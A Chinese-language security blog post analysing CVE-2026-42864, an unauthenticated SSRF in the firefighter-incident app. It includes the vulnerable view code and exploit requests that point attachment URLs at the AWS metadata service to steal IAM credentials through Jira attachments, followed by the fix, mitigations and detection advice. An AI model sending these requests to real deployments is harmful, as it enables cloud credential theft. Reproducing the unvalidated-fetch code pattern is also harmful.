文章总结： CVE-2026-42864是firefighter-incident应用中的高危漏洞，因代码注释要求认证但实际权限配置为AllowAny，结合未校验URL的SSRF漏洞，攻击者可通过AWS元数据服务窃取IAM凭据。漏洞CVSS评分9.9，官方修复包括恢复认证和严格URL验证，建议立即升级至0.0.54版本并配置IMDSv2。 综合评分： 88 文章分类： 漏洞分析,云安全,应用安全,安全建设,解决方案
注释写着”需要认证”，代码说”不”——CVE-2026-42864 未授权 SSRF 导致 AWS 凭据窃取
原创
CVE-SEC CVE-SEC
CVE-SEC
2026年5月12日 14:00 新疆
在小说阅读器读本章
去阅读
注释写着”需要认证”，代码说”不”——CVE-2026-42864 未授权 SSRF 导致 AWS 凭据窃取
CVE-2026-42864 | CVSS 9.9 | 严重
前言
有一种漏洞，不来自复杂的逻辑缺陷，不来自精心构造的协议混淆，而只来自一行与注释截然相反的代码。
CVE-2026-42864 就是这样的漏洞。在 ManoMano 的开源事件管理应用 firefighter-incident 中，一个负责从 Jira Bot 接收请求的视图类，在文档注释里清楚地写着”Requires a Bearer token”（需要 Bearer 令牌认证），但它的实际权限配置是 permissions.AllowAny——任何人，无需任何凭据，均可调用。
结合服务端对 attachments 字段 URL 的无校验取值行为，这一疏漏在 AWS EC2/EKS 云环境中演变成了一条直达 IAM 临时凭据的完整攻击路径。CVSS 评分 9.9，披露于 2026 年 5 月。
firefighter-incident 是什么
firefighter-incident 是 ManoMano（欧洲家装电商平台）开源的企业内部事件管理工具，以 PyPI 包形式发布，基于 Django REST Framework 构建。它的主要功能是在业务发生故障或安全事件时，自动化地协调响应流程，包括创建 Jira 工单、通知相关人员、跟踪事件状态等。
在 ManoMano 的生产环境中，该应用运行于 AWS EKS（Kubernetes）集群中，Pod 绑定了具有特定权限的 IAM 角色以访问 AWS 服务。这个部署架构是漏洞后果严重化的关键背景。
漏洞的核心：一处被遗忘的权限配置
应用中有一个名为 CreateJiraBotView 的视图类，功能是接收来自外部 Bot（如 Landbot）的请求，在 Jira 中自动创建事件工单并附带相关附件。
查看源码，视图的文档注释是这样写的：
class CreateJiraBotView(CreateAPIView):
"""
Create a Jira issue from a Jira Bot request.
Requires a Bearer token.
"""
permission_classes = [permissions.AllowAny]
serializer_class = LandbotIssueRequestSerializer
注释明确声明需要 Bearer 令牌认证，实际代码却配置了 AllowAny——Django REST Framework 中最宽松的权限类，意味着无需任何认证即可访问。
这不是一个精心设计的后门，更像是开发过程中一个被遗忘的临时状态：开发人员可能曾经在测试阶段将权限设为 AllowAny，之后更新了注释，却忘记同步修改代码。在没有自动化测试验证端点认证要求的情况下，这个偏差就这样悄悄进入了生产环境。
SSRF 的第二重危险：附件 URL 无校验取值
认证缺失只是问题的第一层。第二层问题是，attachments 字段中的 URL 被服务端直接取值，没有任何校验：
# src/firefighter/raid/client.py（示意）
def add_attachments_to_issue(self, issue_key, attachments):
for attachment_url in attachments:
response = httpx.get(attachment_url) # 无协议限制，无私网地址过滤
self.jira.add_attachment(issue_key, response.content)
httpx.get() 在执行前不验证目标 URL 的协议类型，不过滤私网 IP 地址，不限制目标范围。攻击者可以让服务器向任意目标发起 HTTP 请求，并且通过 Jira 附件将响应内容带回来。
在 AWS 云环境中，这意味着什么
在 EC2 和 EKS 环境中，存在一个特殊的地址：169.254.169.254。这是 AWS 实例元数据服务（IMDS）的固定地址，任何运行在 EC2 实例或 EKS Pod 中的代码都可以通过普通 HTTP GET 请求访问它，无需任何额外凭据。
通过这个地址，可以获取到 IAM 角色绑定的临时凭据：
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
响应是一段 JSON，包含 AccessKeyId、SecretAccessKey 和 Token——AWS 临时访问凭据的完整三元组。
将这两个漏洞拼在一起：攻击者向一个无需认证的端点发送请求，将 attachments 指向 169.254.169.254，服务器 Pod 发起请求获取到 IAM 凭据，以 Jira 附件的形式将凭据内容上传到一个攻击者可以访问的 Jira 工单里。攻击者打开工单，凭据就在那里。
整个过程，对于防守方而言，看起来只是一个普通的 Jira Bot 调用和一个普通的 Jira 附件上传。
攻击的完整路径
POST /api/v2/firefighter/raid/jira_bot
Content-Type: application/json
{
"title": "test",
"description": "test",
"attachments": [
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
]
}
第一个请求获取 IAM 角色名称，第二个请求：
{
"attachments": [
"http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>"
]
}
Jira 工单的附件中出现：
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-05-12T06:00:00Z"
}
攻击者随即拥有了这个 IAM 角色在凭据有效期内的全部 AWS 权限。如果该 IAM 角色具有较高权限（这在实际部署中很常见，因为运维人员往往倾向于给应用赋予”足够多”的权限），影响可以扩展到整个 AWS 账户的资源。
为什么这类漏洞在云环境中特别危险
SSRF（服务端请求伪造）并不是一个新概念，但在云原生架构中，它的危害被系统性地放大了。
传统部署中，SSRF 能到达的内网资源是有限的，影响范围相对可控。而在 AWS EC2/EKS 环境中，元数据服务地址是固定的、普遍存在的，且在没有强制实施 IMDSv2 的情况下，不需要任何额外凭证即可访问。IAM 临时凭据是高价值目标，一旦泄露，攻击者即可以云服务身份在 AWS 环境中自由活动。
更关键的是，”以 Jira 附件形式回传响应”这个数据外泄路径天然地规避了大多数出站流量监控——Jira 的流量被视为正常业务流量，不会触发基于目标域名或 IP 的告警。
漏洞的深层根因
这个漏洞揭示了一个在快速迭代的工程团队中普遍存在的问题：代码与注释的不一致，本质上是代码与开发者意图的不一致。
代码审查应当能发现这个问题，自动化测试应当能验证端点的认证要求。但如果团队没有对”所有 API 端点的认证配置”进行系统性的验证，这类疏漏就会以极低的出现频率持续存在，直到被外部研究人员发现。
在云原生架构中，安全测试的范围必须扩展到包括 SSRF 可达目标的评估，尤其是对元数据服务地址的访问测试。
官方修复
firefighter-incident 0.0.54 在两个维度同时进行了修复。
认证修复：将 CreateJiraBotView 的 permission_classes 从 [permissions.AllowAny] 更改为 [BearerTokenAuthentication, IsAuthenticated]，恢复了原设计意图要求的认证验证。
URL 验证修复：对 attachments 字段的每个 URL 实施严格校验：仅允许 http/https 协议；单次请求最多 10 个 URL；解析主机名对应的 IP 地址，拒绝任何解析到私网、回环、链路本地、保留、组播或未指定地址的主机（IPv4 和 IPv6 均覆盖）。
这是一次双层防御的修复：即使认证层在未来被某种方式绕过，URL 验证层仍然阻止了对元数据服务和内网资源的访问。
如果无法立即升级
在升级前，可以采取以下临时措施，任一即可阻断利用：
措施一：在 Kubernetes Ingress 或负载均衡器层面，将 /api/v2/firefighter/raid/jira_bot 端点的访问限制为仅允许受信任的 IP（例如 Landbot 的出口 IP 段），或完全关闭该端点直到完成升级。
措施二：在所有 EC2 实例和 EKS 节点上强制实施 IMDSv2，将 HttpPutResponseHopLimit 设置为 1。这不会修复 SSRF 漏洞本身，但会切断从 Kubernetes Pod 内部访问实例元数据服务的路径，使 IAM 凭据窃取路径失效。
紧急情况下：轮换 Jira API 令牌（RAID_JIRA_API_PASSWORD），这会中断正常业务，但也会使凭据窃取路径的后续步骤（附件上传到 Jira）无法完成。
如何检测是否已遭利用
在 Jira 中搜索由该 Bot 端点创建、附件内容包含 AccessKeyId、SecretAccessKey 关键字的工单。
在 AWS CloudTrail 中，审查绑定 IAM 角色的临时凭据使用记录，关注以下异常：从非 EKS 节点 IP 发起的 API 调用；凭据被用于执行高权限操作（iam:CreateUser、s3:ListBuckets 等）；凭据的使用时间早于合理的业务需求时间段。
在应用日志中，检索对 POST /api/v2/firefighter/raid/jira_bot 的调用记录，尤其是请求体中 attachments 字段包含 169.254 前缀或其他私网地址的请求。
结语
CVE-2026-42864 是一个因开发流程中的一处疏漏引发的高危漏洞——一行与注释不一致的 AllowAny，加上缺乏 SSRF 防护的 URL 取值，在云原生环境中构成了一条通向云基础设施凭据的完整路径。
它告诉我们，安全测试不能仅停留在”功能是否正常”的层面，还必须覆盖”每个端点的认证配置是否与设计一致”这一基础但容易被忽视的维度。
所有使用 firefighter-incident 的团队应立即升级至 0.0.54，并对云环境的 IMDSv2 配置和 IAM 角色权限进行审查。
参考资料
- GitHub Security Advisory: https://github.com/ManoManoTech/firefighter-incident/security/advisories/GHSA-fqvv-jvhr-g5jc
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42864
- Vulnerability-Lookup: https://vulnerability.circl.lu/vuln/cve-2026-42864
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：CVE-SEC CVE-SEC CVE-SEC《注释写着”需要认证”，代码说”不”——CVE-2026-42864 未授权 SSRF 导致 AWS 凭据窃取》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论